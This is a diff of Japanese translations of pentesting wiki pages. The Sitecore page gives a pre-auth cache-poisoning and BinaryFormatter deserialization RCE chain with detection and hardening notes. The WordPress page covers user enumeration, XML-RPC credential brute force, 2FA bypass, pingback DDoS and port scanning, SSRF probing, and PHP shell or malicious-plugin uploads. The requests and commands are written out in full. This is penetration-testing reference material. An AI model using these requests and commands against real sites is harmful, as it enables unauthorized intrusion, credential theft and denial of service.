@ -104,7 +104,7 @@ GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous) // 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required // 403 → blocked/auth required
``` ```
キャッシュ可能な項目とフラグの一覧: キャッシュ可能なアイテムとフラグの一覧:
``` ```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
``` ```
@ -114,7 +114,7 @@ GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page
``` ```
### Sidechannel enumeration under restricted identities (CVE-2025-53694) ### Sidechannel enumeration under restricted identities (CVE-2025-53694)
ItemServiceが限定的なアカウント(例: ServicesAPIをなりすましてResults arrayを空で返しても、TotalCountはpreACLのSolrヒットを反映する場合があります。wildcardsを使ってitem groups/idsをbruteforceし、TotalCountが収束して内部コンテンツやデバイスをマッピングする様子を観察できます: ItemService が限定アカウント(例: ServicesAPIを偽装して Results 配列を空で返しても、TotalCount は依然として preACL の Solr ヒットを反映することがあります。ワイルドカードを使って item groups/ids を bruteforce すると、TotalCount が収束して内部コンテンツやデバイスをマッピングしていく様子を確認できます:
``` ```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3 → "TotalCount": 3
@ -123,22 +123,22 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item → narrow to a specific item
``` ```
## Postauth RCE: convertToRuntimeHtml における BinaryFormatter sink (CVE-2025-53691) ## Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink: シンク:
```csharp ```csharp
// Sitecore.Convert // Sitecore.Convert
byte[] b = Convert.FromBase64String(data); byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b)); return new BinaryFormatter().Deserialize(new MemoryStream(b));
``` ```
convertToRuntimeHtml パイプラインの ConvertWebControls ステップを通じて到達可能で、id が {iframeId}_inner の要素を探し、base64 でデコードしてデシリアライズし、その結果の文字列を HTML に注入します: convertToRuntimeHtml pipeline step ConvertWebControls を経由してアクセス可能で、id {iframeId}_inner の要素を探し、それを base64 decodes + deserializes して得られた文字列を HTML に注入します:
```csharp ```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", ""); string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0) if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
``` ```
トリガー (authenticated, Content Editor rights)。FixHtml ダイアログは convertToRuntimeHtml を呼び出します。UIクリックなしのエンドツーエンド: トリガー認証済み、Content Editor 権限。FixHtml ダイアログは convertToRuntimeHtml を呼び出します。UI クリックなしでのエンドツーエンド:
``` ```
// 1) Start Content Editor // 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -161,28 +161,29 @@ GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.Fix
``` ```
ガジェット生成: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute. ガジェット生成: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.
{{#ref}} {{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}} {{#endref}}
## 完全なチェーン ## 完全なチェーン
1) Preauth 攻撃者が、XAML の AjaxScriptManager を介して反射的に WebControl.AddToCache を呼び出すことで、任意の HTML によって HtmlCache を汚染する 1) Preauth の攻撃者が XAML AjaxScriptManager 経由で WebControl.AddToCache をリフレクション呼び出しして HtmlCache に任意の HTML を注入します
2) 汚染された HTML は JavaScript を配信し、認証済みの Content Editor ユーザーを FixHtml フローに誘導する 2) Poisoned HTML は JavaScript を配信し、認証済みの Content Editor ユーザーを FixHtml フローへ誘導します
3) FixHtml ページは convertToRuntimeHtml → ConvertWebControls をトリガーし、そこで attackercontrolled base64 を BinaryFormatter 経由で deserializes して → Sitecore アプリプールのアイデンティティで RCE に至る 3) FixHtml ページが convertToRuntimeHtml → ConvertWebControls をトリガーし、攻撃者制御の base64 を BinaryFormatter でデシリアライズして、Sitecore アプリプールのアイデンティティで RCE を引き起こします
## 検出 ## 検出
- Preauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` へのリクエストで `__ISEVENT=1`、疑わしい `__SOURCE``__PARAMETERS=AddToCache(...)` - Preauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` へのリクエストで `__ISEVENT=1`、疑わしい `__SOURCE``__PARAMETERS=AddToCache(...)`
- ItemService probing: `/sitecore/api/ssc` のワイルドカードクエリの急増、空の `Results` と大きな `TotalCount` - ItemService probing: `/sitecore/api/ssc` のワイルドカードクエリの急増、`Results` が空で `TotalCount` が大きい
- Deserialization attempts: `EditHtml.aspx` に続いて `FixHtml.aspx?hdl=...`、および HTML フィールド内の異常に大きな base64 - Deserialization attempts: `EditHtml.aspx` の後に `FixHtml.aspx?hdl=...`、HTML フィールドに異常に大きな base64 が含まれる
## ハードニング ## ハードニング
- Sitecore のパッチ KB1003667 と KB1003734 を適用するpreauth XAML ハンドラをゲート/無効化するか厳密なバリデーションを追加する;`/-/xaml/` を監視およびレート制限する - Sitecore パッチ KB1003667 と KB1003734 を適用。preauth XAML ハンドラを制御/無効化するか厳格な検証を追加。`/-/xaml/` を監視しレート制限を行う
- BinaryFormatter を削除/置換する;convertToRuntimeHtml へのアクセスを制限するか、HTML 編集フローに対して強力なサーバー側バリデーションを強制する。 - BinaryFormatter を削除または置換。convertToRuntimeHtml へのアクセスを制限するか、HTML 編集フローに対して強力なサーバー側検証を実施する。
- `/sitecore/api/ssc`ループバックまたは認証済みロールに限定する;`TotalCount`based side channels を leak するインパーソネーションパターンを避ける。 - `/sitecore/api/ssc` loopback または認証済みロールに限定。`TotalCount` ベースのサイドチャネルを生むインパーソネーションパターンを避ける。
- Content Editor ユーザーに対して MFA / least privilege を強制するCSP を見直して cache poisoning による JS steering の影響を減らす - Content Editor ユーザーに対して MFA / 最小権限を強制。CSP を見直して cache poisoning による JS 操作の影響を低減する
## References ## References

View File

@ -4,49 +4,49 @@
## 基本情報 ## 基本情報
- **Uploaded** ファイルは次に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** テーマのファイルは /wp-content/themes/ にあります。テーマの php を変更して RCE を得る場合、おそらくそのパスを使用します。例えば、**theme twentytwelve** を使用すると [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)**404.php** ファイルにアクセスできます。 - **Themes files can be found in /wp-content/themes/,** したがってテーマの php を変更して RCE を得る場合はおそらくそのパスを使用します。例えば:**theme twentytwelve** を使用している場合、次の **404.php** ファイルに **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- `wp-config.php` にはデータベースの root パスワードが含まれていることがあります。 - In **wp-config.php** you can find the root password of the database.
- チェックするデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files** ### **Main WordPress Files**
- `index.php` - `index.php`
- `license.txt` にはインストールされている WordPress のバージョンなど有用な情報が含まれます。 - `license.txt` にはインストールされている WordPress のバージョンなど有用な情報が含まれています。
- `wp-activate.php` は新しい WordPress サイト設定時のメールアクティベーション処理に使われます。 - `wp-activate.php` は新しい WordPress サイトをセットアップする際のメール認証プロセスに使用されます。
- ログイン用ファイル/フォルダ(隠すために名前が変更されていることがあります): - Login folders (may be renamed to hide it):
- `/wp-admin/login.php` - `/wp-admin/login.php`
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` は、HTTP をトランスポート、XML をエンコーディング機構としてデータ送信を可能にする WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。 - `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコード機構として使用してデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。
- `wp-content` フォルダはプラグインとテーマが格納されるメインディレクトリです。 - `wp-content` フォルダはプラグインやテーマが格納される主要ディレクトリです。
- `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。
- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。 - `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。
- `wp-sitemap.xml` WordPress バージョン 5.5 以降では、公開されたすべての投稿および公開クエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルが生成されます。 - `wp-sitemap.xml` Wordpress のバージョン 5.5 以降では、Worpress はすべての公開投稿および公開でクエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルを生成します。
**ポストエクスプロイテーション** **Post exploitation**
- `wp-config.php` ファイルには、データベース名、データベースホスト、ユーザ名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれます。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティングに役立ちます。 - `wp-config.php` ファイルには、データベース名、データベースホスト、ユーザ名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティングに役立ちます。
### ユーザー権限 ### ユーザー権限
- **Administrator** - **Administrator**: 管理者
- **Editor**: 自分および他者の投稿を公開・管理できます - **Editor**: 編集者 — 自分と他人の投稿を公開および管理できる
- **Author**: 自分の投稿を公開・管理できます - **Author**: 投稿者 — 自分の投稿を公開および管理できる
- **Contributor**: 投稿を作成・管理できますが公開はできません - **Contributor**: 寄稿者 — 投稿を作成および管理できるが公開はできない
- **Subscriber**: 投稿を閲覧しプロフィールを編集できます - **Subscriber**: 購読者 — 投稿を閲覧し、自分のプロフィールを編集できる
## **Passive Enumeration** ## **パッシブ列挙**
### **Get WordPress version** ### **WordPress バージョンの取得**
ファイル `/license.txt` または `/readme.html` を見つけられるか確認する `/license.txt` または `/readme.html` ファイルが見つかるか確認してください
ページの**ソースコード**内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/): ページの **source code** 内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/):
- grep - grep
```bash ```bash
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>) ![](<../../images/image (1111).png>)
- CSS リンクファイル - CSS link files
![](<../../images/image (533).png>) ![](<../../images/image (533).png>)
- JavaScript ファイル - JavaScript files
![](<../../images/image (524).png>) ![](<../../images/image (524).png>)
@ -72,38 +72,38 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash ```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
### 一般的なバージョン抽出 ### バージョンを一般的に抽出する
```bash ```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
## アクティブ列挙 ## アクティブ列挙
### プラグインとテーマ ### プラグインとテーマ
おそらくすべてのプラグインとテーマを見つけられないでしょう。すべてを発見するには、**積極的にプラグインとテーマのリストを Brute Force する**必要があります(幸い、このリストを含む自動化ツールが存在します)。 おそらく、すべてのプラグインやテーマを見つけられないでしょう。すべてを発見するには、**能動的に Brute Force してプラグインとテーマのリストを探索する**必要があります(幸い、これらのリストを含む自動化ツールが存在します)。
### ユーザー ### ユーザー
- **ID Brute:** WordPress サイトから有効なユーザーを、users IDs を Brute Forcing することで取得します: - **ID Brute:** WordPressサイトのユーザーIDを Brute Forcing して有効なユーザーを取得します:
```bash ```bash
curl -s -I -X GET http://blog.example.com/?author=1 curl -s -I -X GET http://blog.example.com/?author=1
``` ```
レスポンスが **200** または **30X** の場合、その id **有効** です。レスポンスが **400** の場合、その id **無効** です。 レスポンスが**200**または**30X**の場合、そのidは**有効**です。レスポンスが**400**の場合、そのidは**無効**です。
- **wp-json:** ユーザーの情報を取得するために、次のようなクエリを試すこともできます: - **wp-json:** ユーザー情報を取得するためにクエリしてみることもできます:
```bash ```bash
curl http://blog.example.com/wp-json/wp/v2/users curl http://blog.example.com/wp-json/wp/v2/users
``` ```
ユーザーに関するいくつかの情報を明らかにする可能性がある別の `/wp-json/` エンドポイントは: ユーザーに関するいくつかの情報を明らかにするもう一つの `/wp-json/` エンドポイントは次のとおりです:
```bash ```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
Note that this endpoint only exposes users that have made a post. **この機能が有効になっているユーザーに関する情報のみが提供されます**。 Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses. Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: ログイン時、**`/wp-login.php`** では **message****different** で、指定した **username exists or not** を示します - **Login username enumeration**: **`/wp-login.php`** にログインする際、**message** は **username が存在するかどうか** によって **異なります**
### XML-RPC ### XML-RPC
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
``` ```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credentials Bruteforce** **認証情報 Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、brute-force credentials に使用できるメソッドのいくつかです。これらのいずれかを見つけた場合、次のようなものを送信できます: **`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、認証情報をbrute-forceするために使用できるメソッドの一部です。もしそれらのいずれかを見つけたら、次のようなものを送信できます:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params> </params>
</methodCall> </methodCall>
``` ```
認証情報が無効な場合、200コードのレスポンス内にメッセージ _"Incorrect username or password"_ が表示されるべきです。 認証情報が無効な場合、200コードのレスポンス内に _"ユーザー名またはパスワードが正しくありません"_ というメッセージが表示されるはずです。
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>) ![](<../../images/image (721).png>)
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます[https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982) 正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html ```html
<?xml version='1.0' encoding='utf-8'?> <?xml version='1.0' encoding='utf-8'?>
<methodCall> <methodCall>
@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params> </params>
</methodCall> </methodCall>
``` ```
さらに、同じリクエストで複数の認証情報を試せるため、**`system.multicall`** を使ってクレデンシャルをブルートフォースする、より**高速な方法**があります: また、同じリクエスト内で複数の資格情報を試せるため、**より速い方法**として **`system.multicall`** を使って資格情報をブルートフォースできます:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA のバイパス** **2FA を回避**
この手法は人間向けではなくプログラム向けで古いため、2FA をサポートしていません。したがって、有効な creds を持っていてメインのログインが 2FA で保護されている場合、**xmlrpc.php を悪用してそれらの creds で 2FA をバイパスしてログインできる可能性があります**。コンソールで実行できるすべての操作は行えない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように RCE に到達できる場合があります。 このメソッドは人間向けではなくプログラム向けであり古いため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合でも、**xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります**。コンソールから実行できるすべての操作が行えるわけではない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように、RCE に到達できる場合もあります。
**DDoS またはポートスキャン** **DDoS or port scanning**
リストの中に _**pingback.ping**_ メソッドが見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます.\ リスト内に _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます\
これを利用すれば、**何千もの** Wordpress **サイト**一の **場所** へアクセスさせ(その場所で **DDoS** を引き起こす)、あるいは任意のポートを指定して **Wordpress** に内部 **ネットワーク** のスキャンをさせることもできます。 これ、**何千もの** Wordpress **サイト** に一**場所** **アクセス** させ(その場所で **DDoS** を引き起こす)、または任意のポートを指定して Wordpress に内部 **ネットワーク****スキャン** させる用途に使えます。
```html ```html
<methodCall> <methodCall>
<methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName>
@ -191,7 +191,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
``` ```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
もし **faultCode** の値が **0**17より **大きい** なら、そのポートは開いていることを意味します。 **faultCode** の値が **0**17より **大きい** 場合、そのポートは開いています。
前のセクションでの **`system.multicall`** の使用例を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。 前のセクションでの **`system.multicall`** の使用例を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
@ -209,17 +209,17 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
### wp-cron.php DoS ### wp-cron.php DoS
このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\ このファイルは通常Wordpressサイトのルートに存在します: **`/wp-cron.php`**\
このファイルに**アクセス**されると、"重い"な MySQL **query** が実行されるため、**attackers** によって **DoS** を**引き起こす**ために利用される可能性があります。\ このファイルに**accessed**されると、"heavy" な MySQL **query** が実行されるため、attackers によって DoS を **cause** するために利用される可能性があります。\
また、デフォルトでは`wp-cron.php` はすべてのページ読み込み時(クライアントが Wordpress のページを要求するたびに呼び出されるため、トラフィックの多いサイトでは問題DoSを引き起こすことがあります。 また、デフォルトでは `wp-cron.php` は各ページロード時(クライアントが任意の Wordpress ページを要求するたびに呼び出されるため、トラフィックが多いサイトでは問題DoSを引き起こす可能性があります。
Wp-Cron を無効にして、ホスト内で定期的に必要な処理を実行する本物の cronjob を作成することを推奨します(問題を引き起こさないように)。 Wp-Cron を無効化し、ホスト内で必要な処理を定期的に実行する real cronjob を作成することが推奨されます(問題を引き起こさないように)。
### /wp-json/oembed/1.0/proxy - SSRF ### /wp-json/oembed/1.0/proxy - SSRF
_try_ https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみてください。Worpress サイトがあなたにリクエストを送る可能性があります _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみると、Worpress site があなたにリクエストを送ってくるかもしれません
This is the response when it doesn't work: 動作しない場合のレスポンスは次の通りです:
![](<../../images/image (365).png>) ![](<../../images/image (365).png>)
@ -230,131 +230,130 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}} {{#endref}}
このツールは **methodName: pingback.ping** が存在するか、またパス **/wp-json/oembed/1.0/proxy** の有無を確認し、存在する場合はそれらを悪用しようとします。 このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** を確認し、存在する場合はそれらを exploit しようとします。
## 自動ツール ## 自動ツール
```bash ```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin" #You can try to bruteforce the admin user using wpscan with "-U admin"
``` ```
## 1ビットを上書きしてアクセスを得る ## ビットを上書きしてアクセスを得る
実際の攻撃というより好奇心からのものです。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転できます。例えばファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転して NOT (`!`) 演算を NOP にできます。 実際の攻撃というより好奇心をそそる事例です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転できました。つまり、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転して NOT (`!`) 演算を NOP にすることができます。
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
``` ```
## **パネル RCE** ## **Panel RCE**
**テーマで使用されている php を変更するadmin credentials が必要)** **使用されているテーマの php を修正する (admin credentials needed)**
外観 → テーマエディター → 404 テンプレート(右側) Appearance → Theme Editor → 404 Template (右側)
php シェル用にコンテンツを変更する: php shell の内容に変更する:
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
更新されたページにどうアクセスするかをインターネットで調べる。この場合、次の場所にアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) 更新したページへどうアクセスするかをインターネットで調べる。今回の場合アクセス先はここ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
以下を使用できます: 使用例:
```bash ```bash
use exploit/unix/webapp/wp_admin_shell_upload use exploit/unix/webapp/wp_admin_shell_upload
``` ```
セッションを取得するために。 sessionを取得するために。
## Plugin RCE ## Plugin RCE
### PHP plugin ### PHP plugin
It may be possible to upload .php files as a plugin.\ プラグインとして .php files をアップロードできることがあります。
例えば .php ファイルをプラグインとしてアップロードできる場合があります。 例えば次のように php backdoor を作成します:
例えば次のように php バックドアを作成します:
![](<../../images/image (183).png>) ![](<../../images/image (183).png>)
Then add a new plugin: 次に新しい plugin を追加します:
![](<../../images/image (722).png>) ![](<../../images/image (722).png>)
Upload plugin and press Install Now: plugin をアップロードし、Install Now を押します:
![](<../../images/image (249).png>) ![](<../../images/image (249).png>)
Click on Procced: Procced をクリックします:
![](<../../images/image (70).png>) ![](<../../images/image (70).png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: おそらくこれだけでは何も起こらないように見えますが、Media に移動すると shell がアップロードされているのが確認できます:
![](<../../images/image (462).png>) ![](<../../images/image (462).png>)
Access it and you will see the URL to execute the reverse shell: それにアクセスすると reverse shell を実行するための URL が表示されます:
![](<../../images/image (1006).png>) ![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin ### Uploading and activating malicious plugin
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: この方法は、脆弱であることが知られている悪意のある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress dashboard から次のように行います:
1. **Plugin Acquisition**: プラグインは Exploit DB のようなソースから取得します(例: [**here**](https://www.exploit-db.com/exploits/36374))。 1. **Plugin Acquisition**: プラグインは Exploit DB のようなソースから取得します(例: [**here**](https://www.exploit-db.com/exploits/36374))。
2. **Plugin Installation**: 2. **Plugin Installation**:
- WordPress dashboard に移動し、`Dashboard > Plugins > Upload Plugin` へ進みます。 - WordPress dashboard に移動し、次に `Dashboard > Plugins > Upload Plugin` へ進みます。
- ダウンロードしたプラグインの zip ファイルをアップロードします。 - ダウンロードしたプラグインの zip ファイルをアップロードします。
3. **Plugin Activation**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。 3. **Plugin Activation**: プラグインが正常にインストールされたら、dashboard から有効化する必要があります。
4. **Exploitation**: 4. **Exploitation**:
- プラグイン "reflex-gallery" をインストールして有効化すると、脆弱であることが知られているため悪用可能です。 - plugin "reflex-gallery" がインストールされ有効化されている場合、脆弱であることが知られているため悪用できます。
- Metasploit framework はこの脆弱性用の exploit を提供しています。適切なモジュールをロードして特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。 - Metasploit framework はこの脆弱性に対する exploit を提供しています。適切なモジュールをロードし特定のコマンドを実行することで meterpreter session を確立し、サイトへの不正アクセスを得ることができます。
- これは WordPress サイトを悪用する多くの方法のうちの一つに過ぎない点に注意してください。 - これは WordPress サイトを悪用する多数の方法のひとつに過ぎないことに注意してください。
内容には、プラグインのインストールおよび有効化の手順を示す視覚資料が含まれています。ただし、このような方法で脆弱性を悪用することは、適切な許可がない限り違法かつ非倫理的であることに注意してください。この情報は責任を持って、明確な許可のある penetration testing などの合法的な文脈でのみ使用してください。 内容には、プラグインのインストールおよび有効化手順を示す WordPress dashboard のビジュアルが含まれています。ただし、このように脆弱性を悪用することは、適切な許可なしには違法であり非倫理的であることに注意してください。この情報は責任を持って、明確な許可のあるペネトレーションテストなど合法的な文脈でのみ使用してください。
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE ## From XSS to RCE
